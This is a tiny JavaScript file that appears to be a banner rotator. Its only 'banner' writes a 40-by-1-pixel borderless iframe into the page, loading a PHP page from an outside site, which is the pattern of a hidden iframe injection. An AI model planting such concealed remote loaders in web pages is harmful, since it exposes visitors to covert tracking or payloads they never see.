var banner=new Array()
banner[0]='<iframe name="I5" src="http://www.astrovedics.com/common/online.php" marginwidth="1" marginheight="1" scrolling="no" border="0" frameborder="0" width="40" height="1"></iframe>'
var whichbanner=Math.floor(Math.random()*(banner.length))
document.write(banner[whichbanner])